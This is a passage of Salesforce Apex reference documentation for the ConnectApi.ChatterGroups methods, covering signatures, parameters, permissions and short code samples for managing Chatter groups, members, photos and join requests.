Gets information about the specified list of groups. Returns a list of BatchResult objects containing ConnectApi.ChatterGroup objects. Returns errors embedded in the results for groups that couldn’t be loaded.

groupMembershipRequest(communityId, requestId)
Returns information about the specified request to join a private group.

groupMembershipRequests(communityId, groupId)
Returns information about every request to join the specified private group.

groupMembershipRequests(communityId, groupId, status)
Returns information about every request to join the specified private group that has a specified status.

groups(communityId)
Returns the first page of all the groups. The page contains the default number of items.

groups(communityId, pageParam, pageSize)
Returns the specified page of information about all groups.

groups(communityId, pageParam, pageSize, archiveStatus)
Returns the specified page of information about a set of groups with a specified group archive status.

getMember(communityId, membershipId)
Returns information about the specified group member.

groupMembers(communityId, groupId)
Returns the first page of information about all members of the specified group. The page contains the default number of items.

getMembers(communityId, groupId, pageParam, pageSize)
Returns the specified page of information about all members of the specified group.

groupMembershipBatch(communityId, membershipIds)
Gets information about the specified list of group memberships. Returns a list of BatchResult objects containing ConnectApi.GroupMember objects. Returns errors embedded in the results for group memberships that couldn’t be accessed.

getMyChatterSettings(communityId, groupId)
Returns the context user’s Chatter settings for the specified group.

getPhoto(communityId, groupId)
Returns information about the photo for the specified group.

getRecord(communityId, groupRecordId)
Returns information about a record associated with a group.

getRecords(communityId, groupId)
Returns the first page of records associated with the specified group. The page contains the default number of items.

getRecords(communityId, groupId, pageParam, pageSize)
Returns the specified page from the list of records associated with a group.
postAnnouncement(communityId, groupId, announcement)
Posts an announcement to the group. An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it’s deleted or replaced by another announcement.

removeRecord(communityId, groupRecordId)
Removes the association of a record with a group.

requestGroupMembership(communityId, groupId)
Requests membership in a private group for the context user.

searchGroups(communityId, q)
Returns the first page of groups that match the specified search criteria. The page contains the default number of items.

searchGroups(communityId, q, pageParam, pageSize)
Returns the specified page of groups that match the specified search criteria.

searchGroups(communityId, q, archiveStatus, pageParam, pageSize)
Returns the specified page of groups that match the specified search criteria and that have the specified archive status.

setPhoto(communityId, groupId, fileId, versionNumber)
Sets the group photo to an already uploaded file.

setPhoto(communityId, groupId, fileUpload)
Sets the group photo to the specified blob.

setPhotoWithAttributes(communityId, groupId, photo)
Sets and crops an already uploaded file as the group photo.

setPhotoWithAttributes(communityId, groupId, photo, fileUpload)
Sets and crops a binary input as the group photo.

updateGroup(communityId, groupId, groupInput)
Update the settings of a group.

updateGroupMember(communityId, membershipId, role)
Updates the specified group membership with the specified role in the specified community. This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission.

updateMyChatterSettings(communityId, groupId, emailFrequency)
Updates the context user’s Chatter settings for the specified group.

updateRequestStatus(communityId, requestId, status)
Updates a request to join a private group.

updateRequestStatus(communityId, requestId, status, responseMessage)
Updates a request to join a private group and optionally provides a message when the request is denied.

addMember(communityId, groupId, userId)
Adds the specified user to the specified group in the specified community as a standard member. To execute this method, the context user must be the group owner or moderator.

API Version
28.0
Requires Chatter
Yes

Signature
public static ConnectApi.GroupMember addMember(String communityId, String groupId, String userId)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

groupId
Type: String
The ID for a group.

userId
Type: String
The ID for a user.

Return Value
Type: ConnectApi.GroupMember

addMemberWithRole(communityId, groupId, userId, role)
Adds the specified user with the specified role to the specified group in the specified community. To execute this method, the context user must be the group owner or moderator.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupMember addMemberWithRole(String communityId, String groupId, String userId, ConnectApi.GroupMembershipType role)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.

userId
Type: String
The ID for a user.

role
Type: ConnectApi.GroupMembershipType
The group membership type. One of these values:
- GroupManager
- StandardMember

Return Value
Type: ConnectApi.GroupMember

addRecord(communityId, groupId, recordId)
Associates a record with a group.

API Version
34.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupRecord addRecord(String communityId, String groupId, String recordId)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

groupId
Type: String
ID of the group with which to associate the record.

recordId
Type: String
ID of the record to associate with the group.
**Return Value**

Type: `ConnectApi.GroupRecord`

createGroup(communityId, groupInput)

Creates a group.

**API Version**

29.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.ChatterGroupDetail createGroup(String communityId, ConnectApi.ChatterGroupInput groupInput)
```

**Parameters**

- **communityId**
  
  Type: `String`
  
  Use either the ID for a community, internal, or `null`.

- **groupInput**
  
  Type: `ConnectApi.ChatterGroupInput`
  
  The properties of the group.

**Return Value**

Type: `ConnectApi.ChatterGroupDetail`

deleteMember(communityId, membershipId)

Deletes the specified group membership.

**API Version**

28.0

**Requires Chatter**

Yes

**Signature**

```java
public static Void deleteMember(String communityId, String membershipId)
```
Parameters

`communityId`
Type: `String`
Use either the ID for a community, `internal`, or `null`.

`membershipId`
Type: `String`
The ID for a membership.

Return Value
Type: `Void`

Usage
This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission.

`deletePhoto(communityId, groupId)`
Deletes the photo of the specified group.

API Version
28.0

Requires Chatter
Yes

Signature
`public static Void deletePhoto(String communityId, String groupId)`

Parameters

`communityId`
Type: `String`
Use either the ID for a community, `internal`, or `null`.

`groupId`
Type: `String`
The ID for a group.

Return Value
Type: `Void`

Usage
This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission.
getAnnouncements(communityId, groupId)

Gets the first page of announcements in a group. An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it’s deleted or replaced by another announcement.

API Version
31.0

Requires Chatter
Yes

Signature

public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String groupId)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

groupId
Type: String
The ID for a group.

Return Value
Type: ConnectApi.AnnouncementPage

Usage

To post an announcement, call postAnnouncement(communityId, groupId, announcement).
To get information about a specific announcement, update the expiration date of an announcement, or delete an announcement, use the methods of the ConnectApi.Announcements class.

getAnnouncements(communityId, groupId, pageParam, pageSize)

Gets the specified page of announcements in a group. You can also specify the page size. An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it’s deleted or replaced by another announcement.

API Version
31.0

Requires Chatter
Yes
Signature

public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String groupId, Integer pageParam, Integer pageSize)

Parameters

communityId
  Type: String
  Use either the ID for a community, internal, or null.

groupId
  Type: String
  The ID for a group.

pageParam
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value

Type: ConnectApi.AnnouncementPage

Usage

To post an announcement, call postAnnouncement(communityId, groupId, announcement).

To get information about a specific announcement, update the expiration date of an announcement, or delete an announcement, use the methods of the ConnectApi.Announcements class.

getGroup(communityId, groupId)

Returns information about the specified group.

API Version

28.0

Available to Guest Users

31.0

Requires Chatter

Yes
**Signature**

```java
public static ConnectApi.ChatterGroupDetail getGroup(String communityId, String groupId)
```

**Parameters**

- `communityId`  
  Type: `String`  
  Use either the ID for a community, internal, or `null`.

- `groupId`  
  Type: `String`  
  The ID for a group.

**Return Value**

Type: `ConnectApi.ChatterGroupDetail`

**getGroupBatch(communityId, groupIds)**

Gets information about the specified list of groups. Returns a list of `BatchResult` objects containing `ConnectApi.ChatterGroup` objects. Returns errors embedded in the results for groups that couldn’t be loaded.

**API Version**

31.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.BatchResult[] getGroupBatch(String communityId, List<String> groupIds)
```

**Parameters**

- `communityId`  
  Type: `String`  
  Use either the ID for a community, internal, or `null`.

- `groupIds`  
  Type: `List<String>`  
  A list of up to 500 group IDs.

**Return Value**

Type: `BatchResult[]`

The `BatchResult.getResult()` method returns a `ConnectApi.ChatterGroup` object.
Example

```java
// Create a list of groups.
ConnectApi.ChatterGroupPage groupPage = ConnectApi.ChatterGroups.getGroups(null);

// Create a list of group IDs.
List<String> groupIds = new List<String>();
for (ConnectApi.ChatterGroup aGroup : groupPage.groups){
    groupIds.add(aGroup.id);
}

// Get info about all the groups in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getGroupBatch(null, groupIds);
for (ConnectApi.BatchResult batchResult : batchResults) {
    if (batchResult.isSuccess()) {
        // Operation was successful.
        // Print the number of members in each group.
        ConnectApi.ChatterGroup aGroup;
        if(batchResult.getResult() instanceof ConnectApi.ChatterGroup) {
            aGroup = (ConnectApi.ChatterGroup) batchResult.getResult();
        }
        System.debug('SUCCESS');
        System.debug(aGroup.memberCount);
    }
    else {
        // Operation failed. Print errors.
        System.debug('FAILURE');
        System.debug(batchResult.getErrorMessage());
    }
}
```

SEE ALSO:
- `getMembershipBatch(communityId, membershipIds)`

**getGroupMembershipRequest(communityId, requestId)**
Returns information about the specified request to join a private group.

**API Version**
28.0

**Requires Chatter**
Yes

**Signature**
```
public static ConnectApi.GroupMembershipRequest getGroupMembershipRequest(String communityId, String requestId)
```
Parameters

`communityId`
- Type: String
  - Use either the ID for a community, internal, or null.

`requestId`
- Type: String
  - The ID of a request to join a private group.

Return Value

Type: `ConnectApi.GroupMembershipRequest`

Usage

This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission.

`getGroupMembershipRequests(communityId, groupId)`

Returns information about every request to join the specified private group.

API Version

28.0

Requires Chatter

Yes

Signature

`public static ConnectApi.GroupMembershipRequests getGroupMembershipRequests(String communityId, String groupId)`

Parameters

`communityId`
- Type: String
  - Use either the ID for a community, internal, or null.

`groupId`
- Type: String
  - The ID for a group.

Return Value

Type: `ConnectApi.GroupMembershipRequests`
**Usage**

This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission.

**getGroupMembershipRequests(communityId, groupId, status)**

Returns information about every request to join the specified private group that has a specified status.

**API Version**

28.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.GroupMembershipRequests getGroupMembershipRequests(String communityId, String groupId, ConnectApi.GroupMembershipRequestStatus status)
```

**Parameters**

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **groupId**
  - Type: `String`
  - The ID for a group.

- **status**
  - Type: `ConnectApi.GroupMembershipRequestStatus`
  - `status`—The status of a request to join a private group.
    - Accepted
    - Declined
    - Pending

**Return Value**

Type: `ConnectApi.GroupMembershipRequests`

**Usage**

This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission.

**getGroups(communityId)**

Returns the first page of all the groups. The page contains the default number of items.
API Version
28.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupPage getGroups(String communityId)

Parameters
communityId
  Type: String
  Use either the ID for a community, internal, or null.

Return Value
Type: ConnectApi.ChatterGroupPage

getGroups(communityId, pageParam, pageSize)
Returns the specified page of information about all groups.

API Version
28.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupPage getGroups(String communityId, Integer pageParam, Integer pageSize)

Parameters
communityId
  Type: String
Use either the ID for a community, internal, or null.

ggetParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterGroupPage

getGroups(communityId, pageParam, pageSize, archiveStatus)
Returns the specified page of information about a set of groups with a specified group archive status.

API Version
29.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupPage getGroups(String communityId, Integer pageParam, Integer pageSize, ConnectApi.GroupArchiveStatus archiveStatus)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

ggetParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

archiveStatus
Type: ConnectApi.GroupArchiveStatus
Specifies a set of groups based on whether the groups are archived or not. 

- **All**—All groups, including groups that are archived and groups that are not archived.
- **Archived**—Only groups that are archived.
- **NotArchived**—Only groups that are not archived.

If you pass in `null`, the default value is **All**.

**Return Value**

Type: `ConnectApi.ChatterGroupPage`

### `getMember(communityId, membershipId)`

Returns information about the specified group member.

**API Version**

28.0

**Requires Chatter**

Yes

**Signature**

```
public static ConnectApi.GroupMember getMember(String communityId, String membershipId)
```

**Parameters**

- **communityId**
  
  Type: `String`
  
  Use either the ID for a community, `internal`, or `null`.

- **membershipId**
  
  Type: `String`
  
  The ID for a membership.

**Return Value**

Type: `ConnectApi.GroupMember`

### `getMembers(communityId, groupId)`

Returns the first page of information about all members of the specified group. The page contains the default number of items.

**API Version**

28.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.GroupMemberPage getMembers(String communityId, String groupId)
```

Parameters

- `communityId`
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- `groupId`
  - Type: `String`
  - The ID for a group.

Return Value

Type: `ConnectApi.GroupMemberPage`

```java
getMembers(communityId, groupId, pageParam, pageSize)
```

Returns the specified page of information about all members of the specified group.

API Version

28.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.GroupMemberPage getMembers(String communityId, String groupId, Integer pageParam, Integer pageSize)
```

Parameters

- `communityId`
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- `groupId`
  - Type: `String`
  - The ID for a group.

- `pageParam`
  - Type: `Integer`

- `pageSize`
  - Type: `Integer`
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

**pageSize**

Type: `Integer`

The number of items per page. Valid values are between 1 and 1000. If you pass null, `pageSize` is 25.

**Return Value**

Type: `ConnectApi.GroupMemberPage`

### getMembershipBatch(communityId, membershipIds)

Gets information about the specified list of group memberships. Returns a list of `BatchResult` objects containing `ConnectApi.GroupMember` objects. Returns errors embedded in the results for group memberships that couldn’t be accessed.

**API Version**

31.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.BatchResult[] getMembershipBatch(String communityId, List<String> membershipIds)
```

**Parameters**

- **communityId**
  Type: `String`
  Use either the ID for a community, internal, or null.

- **membershipIds**
  Type: `List<String>`
  A list of up to 500 group membership IDs.

**Return Value**

Type: `BatchResult[]`

The `BatchResult` `getResults()` method returns a `ConnectApi.GroupMember` object.

**Example**

```java
// Get members of a group.
ConnectApi.GroupMemberPage membersPage = ConnectApi.ChatterGroups.getMembers(null, '0F9D00000000oOT');

// Create a list of membership IDs.
```
List<String> membersList = new List<String>();
for (ConnectApi.GroupMember groupMember : membersPage.members){
    membersList.add(groupMember.id);
}

// Get info about all group memberships in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getMembershipBatch(null,
    membersList);

for (ConnectApi.BatchResult batchResult : batchResults) {
    if (batchResult.isSuccess()) {
        // Operation was successful.
        // Print the first name of each member.
        ConnectApi.GroupMember groupMember;
        if(batchResult.getResult() instanceof ConnectApi.GroupMember) {
            groupMember = (ConnectApi.GroupMember) batchResult.getResult();
        }
        System.debug('SUCCESS');
        System.debug(groupMember.user.firstName);
    } else {
        // Operation failed. Print errors.
        System.debug('FAILURE');
        System.debug(batchResult.getErrorMessage());
    }
}

SEE ALSO:
    getGroupBatch(communityId, groupIds)

getMyChatterSettings(communityId, groupId)

Returns the context user’s Chatter settings for the specified group.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupChatterSettings getMyChatterSettings(String communityId,
    String groupId)

Parameters

communityId
    Type: String
Use either the ID for a community, internal, or null.

**groupId**
Type: `String`
The ID for a group.

Return Value
Type: `ConnectApi.GroupChatterSettings`

**getPhoto(communityId, groupId)**
Returns information about the photo for the specified group.

API Version
28.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.Photo getPhoto(String communityId, String groupId)
```

Parameters

* `communityId`
  Type: `String`
  Use either the ID for a community, internal, or null.

* `groupId`
  Type: `String`
  The ID for a group.

Return Value
Type: `ConnectApi.Photo`

**getRecord(communityId, groupRecordId)**
Returns information about a record associated with a group.

API Version
34.0

Requires Chatter
Yes
Signature

public static ConnectApi.GroupRecord getRecord(String communityId, String groupRecordId)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

groupRecordId
Type: String
ID of the group record.

Return Value

Type: ConnectApi.GroupRecord

getRecords (communityId, groupId)
Returns the first page of records associated with the specified group. The page contains the default number of items.

API Version

33.0

Requires Chatter

Yes

Signature

public static ConnectApi.GroupRecordPage getRecords(String communityId, String groupId)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

groupId
Type: String
The ID for a group.

Return Value

Type: ConnectApi.GroupRecordPage

getRecords (communityId, groupId, pageParam, pageSize)
Returns the specified page from the list of records associated with a group.
API Version
33.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupRecordPage getRecords(String communityId, String groupId, Integer pageParam, Integer pageSize)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

groupId
Type: String
The ID for a group.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
The number of items per page. Valid values are between 1 and 1000. If you pass null, pageSize is 25.

Return Value
Type: ConnectApi.GroupRecordPage

postAnnouncement(communityId, groupId, announcement)
Posts an announcement to the group. An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it's deleted or replaced by another announcement.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.Announcement postAnnouncement(String communityId, String groupId, ConnectApi.AnnouncementInput announcement)
Parameters

- **communityId**
  - Type: String
  - Use either the ID for a community, internal, or null.

- **groupId**
  - Type: String
  - The ID for a group.

- **announcement**
  - Type: ConnectApi.AnnouncementInput

Return Value

- Type: ConnectApi.Announcement

Usage

Use an announcement to highlight information. Users can discuss, like, and post comments on announcements in the group feed. Group members receive an email notification when you post an announcement, same as for other posts, depending on their selected group email notification frequency. Deleting the feed post deletes the announcement.

To get information about all the announcements in a group, call `getAnnouncements(communityId, groupId)` or `getAnnouncements(communityId, groupId, pageParam, pageSize)`.

To get information about a specific announcement, update the expiration date of an announcement, or delete an announcement, use the methods of the `ConnectApi.Announcements` class.

**removeRecord(communityId, groupRecordId)**

Removes the association of a record with a group.

API Version

34.0

Requires Chatter

Yes

Signature

```java
public static Void removeRecord(String communityId, String groupRecordId)
```

Parameters

- **communityId**
  - Type: String
  - Use either the ID for a community, internal, or null.
groupRecordId
   Type: String
   ID of the group record.

Return Value
   Type: Void

requestGroupMembership(communityId, groupId)
Requests membership in a private group for the context user.

API Version
   28.0

Requires Chatter
   Yes

Signature
   public static ConnectApi.GroupMembershipRequest requestGroupMembership(String communityId, String groupId)

Parameters
   communityId
      Type: String
      Use either the ID for a community, internal, or null.
   groupId
      Type: String
      The ID for a group.

Return Value
   Type: ConnectApi.GroupMembershipRequest

Sample: Requesting to Join a Private Group
This sample code calls ConnectApi.ChatterGroups.requestGroupMembership to request to join a private group.

```java
String communityId = null;
ID groupId = '0F9x00000000hAZ';

ConnectApi.GroupMembershipRequest membershipRequest =
   ConnectApi.ChatterGroups.requestGroupMembership(communityId, groupId);
```
**searchGroups**(communityId, q)

Returns the first page of groups that match the specified search criteria. The page contains the default number of items.

**API Version**

28.0

**Available to Guest Users**

31.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q)
```

**Parameters**

- **communityId**
  - Type: String
  - Use either the ID for a community, `internal`, or `null`.

- **q**
  - Type: String
  - `q`—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See [Wildcards](#). Can be specified as `null`.

**Return Value**

Type: `ConnectApi.ChatterGroupPage`

**Usage**

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestSearchGroups(communityId, q, result)`
- Testing ConnectApi Code

**searchGroups**(communityId, q, pageParam, pageSize)

Returns the specified page of groups that match the specified search criteria.
API Version
28.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q, Integer pageParam, Integer pageSize)
```

Parameters

- **communityId**
  - **Type:** String
  - Use either the ID for a community, internal, or null.

- **q**
  - **Type:** String
  - q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards. Can be specified as null.

- **pageParam**
  - **Type:** Integer
  - Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

- **pageSize**
  - **Type:** Integer
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value

**Type:** ConnectApi.ChatterGroupPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- ```java
  setTestSearchGroups(communityId, q, pageParam, pageSize, result)
  ```
- Testing ConnectApi Code
searchGroups(communityId, q, archiveStatus, pageParam, pageSize)

Returns the specified page of groups that match the specified search criteria and that have the specified archive status.

API Version
29.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q, ConnectApi.GroupArchiveStatus archiveStatus, Integer pageParam, Integer pageSize)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards. Can be specified as null.

archiveStatus
Type: ConnectApi.GroupArchiveStatus
archiveStatus Specifies a set of groups based on whether the groups are archived or not.
• All—All groups, including groups that are archived and groups that are not archived.
• Archived—Only groups that are archived.
• NotArchived—Only groups that are not archived.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifications the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterGroupPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestSearchGroups(communityId, q, archiveStatus, pageParam, pageSize, result)`
  - Testing ConnectApi Code

`setPhoto(communityId, groupId, fileId, versionNumber)`
Sets the group photo to an already uploaded file.

API Version
28.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.Photo setPhoto(String communityId, String groupId, String fileId, Integer versionNumber)
```

Parameters
- `communityId`
  - Type: String
  - Use either the ID for a community, `internal`, or `null`.
- `groupId`
  - Type: String
  - The ID for a group.
- `fileId`
  - Type: String
  - ID of a file already uploaded. The key prefix must be 069, and the file must be an image that is smaller than 2 GB.
- `versionNumber`
  - Type: Integer
  - Version number of the existing file. Specify either an existing version number or, to get the latest version, specify `null`.

Return Value
- Type: `ConnectApi.Photo`

Usage
This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission.
Photos are processed asynchronously and may not be visible right away.

**Sample: Updating a Group Photo with an Existing File**

When a group is created, it doesn’t have a group photo. You can set an existing photo that has already been uploaded to Salesforce as the group photo. The key prefix must be 069 and the file size must be less than 2 GB.

```java
String communityId = null;
ID groupId = '0F9x00000000hAK';
ID fileId = '069x00000001Ion';

// Set photo
ConnectApi.Photo photo = ConnectApi.ChatterGroups.setPhoto(communityId, groupId, fileId, null);
```

**setPhoto(communityId, groupId, fileUpload)**

Sets the group photo to the specified blob.

**API Version**

28.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.Photo setPhoto(String communityId, String groupId, ConnectApi.BinaryInput fileUpload)
```

**Parameters**

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **groupId**
  - Type: `String`
  - The ID for a group.

- **fileUpload**
  - Type: `ConnectApi.BinaryInput`
  - A file to use as the photo. The content type must be usable as an image.

**Return Value**

- Type: `ConnectApi.Photo`
Usage

This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission. Photos are processed asynchronously and may not be visible right away.

Sample: Uploading a New File and Using it as a Group Photo

When a group is created, it doesn’t have a group photo. You can upload a photo and set it as the group photo.

```java
String communityId = null;
ID groupId = '0F9x00000000hAP';
ID photoId = '069x00000001Ioo';

// Set photo
List<ContentVersion> groupPhoto = [Select c.VersionData From ContentVersion c where ContentDocumentId=:photoId];
ConnectApi.BinaryInput binary = new ConnectApi.BinaryInput(groupPhoto.get(0).VersionData, 'image/png', 'image.png');
ConnectApi.Photo photo = ConnectApi.ChatterGroups.setPhoto(communityId, groupId, binary);
```

`setPhotoWithAttributes(communityId, groupId, photo)`

Sets and crops an already uploaded file as the group photo.

API Version

29.0

Requires Chatter

Yes

Signature

`public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String groupId, ConnectApi.PhotoInput photo)`

Parameters

- `communityId`
  - Type: `String`
  - Use either the ID for a community, internal, or `null`.

- `groupId`
  - Type: `String`
  - The ID for a group.

- `photo`
  - Type: `ConnectApi.PhotoInput`
  - A `ConnectApi.PhotoInput` object that specifies the ID and version of the file, and how to crop the file.
Return Value
Type: ConnectApi.Photo

Usage
This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission. Photos are processed asynchronously and may not be visible right away.

**setPhotoWithAttributes(communityId, groupId, photo, fileUpload)**
Sets and crops a binary input as the group photo.

API Version
29.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String groupId, ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)
```

Parameters

`communityId`
- Type: `String`
- Use either the ID for a community, `internal`, or `null`.

`groupId`
- Type: `String`
- The ID for a group.

`photo`
- Type: `ConnectApi.PhotoInput`
- A `ConnectApi.PhotoInput` object that specifies how to crop the file specified in `fileUpload`.

`fileUpload`
- Type: `ConnectApi.BinaryInput`
- A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.Photo

Usage
This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission.
Photos are processed asynchronously and may not be visible right away.

**updateGroup(communityId, groupId, groupInput)**

Update the settings of a group.

**API Version**

28.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.ChatterGroup updateGroup(String communityId, String groupId,
                                                  ConnectApi.ChatterGroupInput groupInput)
```

**Parameters**

- **communityId**
  - Type: *String*
  - Use either the ID for a community, internal, or *null*.

- **groupId**
  - Type: *String*
  - The ID for a group.

- **groupInput**
  - Type: `ConnectApi.ChatterGroupInput`

**Return Value**

Type: `ConnectApi.ChatterGroup`

**Usage**

This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission. Use this method to update any settings in the `ConnectApi.ChatterGroupInput` class. These settings include the group title and text in the “Information” section, whether the group is public or private, and whether the group is archived.

**Example**

This example archives a group:

```java
String groupId = '0F9D00000000qSz';
String communityId = null;
ConnectApi.ChatterGroupInput groupInput = new ConnectApi.ChatterGroupInput();
```
groupInput.isArchived = true;
ConnectApi.ChatterGroups.updateGroup(communityId, groupId, groupInput);

**updateGroupMember(communityId, membershipId, role)**
Updates the specified group membership with the specified role in the specified community. This method is only successful when the context user is the group manager or owner, or has "Modify All Data" permission.

**API Version**
29.0

**Requires Chatter**
Yes

**Signature**

```
public static ConnectApi.ChatterGroup updateGroupMember(String communityId, String membershipId, ConnectApi.GroupMembershipType role)
```

**Parameters**

- **communityId**
  Type: String
  Use either the ID for a community, internal, or null.

- **membershipId**
  Type: String
  The ID for a membership.

- **role**
  Type: ConnectApi.GroupMembershipType
  The group membership type. One of these values:
  - GroupManager
  - StandardMember

**Return Value**
Type: ConnectApi.ChatterGroup

**updateMyChatterSettings(communityId, groupId, emailFrequency)**
Updates the context user's Chatter settings for the specified group.

**API Version**
28.0
Requires Chatter
Yes

Signature
public static ConnectApi.GroupChatterSettings updateMyChatterSettings(String communityId, String groupId, ConnectApi.GroupEmailFrequency emailFrequency)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

groupId
Type: String
The ID for a group.

emailFrequency
Type: ConnectApi.GroupEmailFrequency
emailFrequency—Specifies the frequency with which a user receives email from a group.

- EachPost
- DailyDigest
- WeeklyDigest
- Never
- UseDefault

The value UseDefault uses the value set in a call to updateChatterSettings(communityId, userId, defaultGroupEmailFrequency).

Return Value
Type: ConnectApi.GroupChatterSettings

updateRequestStatus(communityId, requestId, status)
Updates a request to join a private group.

API Version
28.0

Requires Chatter
Yes
**Signature**

```java
public static ConnectApi.GroupMembershipRequest updateRequestStatus(String communityId, String requestId, ConnectApi.GroupMembershipRequestStatus status)
```

**Parameters**

- `communityId`
  - Type: `String`
  - Use either the ID for a community, internal, or `null`.

- `requestId`
  - Type: `String`
  - The ID for a request to join a private group.

- `status`
  - Type: `ConnectApi.GroupMembershipRequestStatus`
  - The status of the request:
    - Accepted
    - Declined
  - The `Pending` value of the enum is not valid in this method.

**Return Value**

- Type: `ConnectApi.GroupMembershipRequest`

**Usage**

This method is only successful when the context user is the group manager or owner, or has "Modify All Data" permission.

**Sample: Accepting or Declining a Request to Join a Private Group**

This sample code calls `ConnectApi.ChatterGroups.updateRequestStatus` and passes it the membership request ID and an `ConnectApi.GroupMembershipRequestStatus.Accepted` status. You can also pass `ConnectApi.GroupMembershipRequestStatus.Declined`.

```java
String communityId = null;
ID groupId = '0F9x00000000hAZ';
String requestId = '0I5x000000001snCAA';

ConnectApi.GroupMembershipRequest membershipRequestRep =
ConnectApi.ChatterGroups.updateRequestStatus(communityId, requestId,
ConnectApi.GroupMembershipRequestStatus.Accepted);
```

**updateRequestStatus(communityId, requestId, status, responseMessage)**

Updates a request to join a private group and optionally provides a message when the request is denied.

**API Version**

35.0
Requires Chatter
Yes

Signature
public static ConnectApi.GroupMembershipRequest updateRequestStatus(String communityId, String requestId, ConnectApi.GroupMembershipRequestStatus status, String responseMessage)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

requestId
Type: String
The ID for a request to join a private group.

status
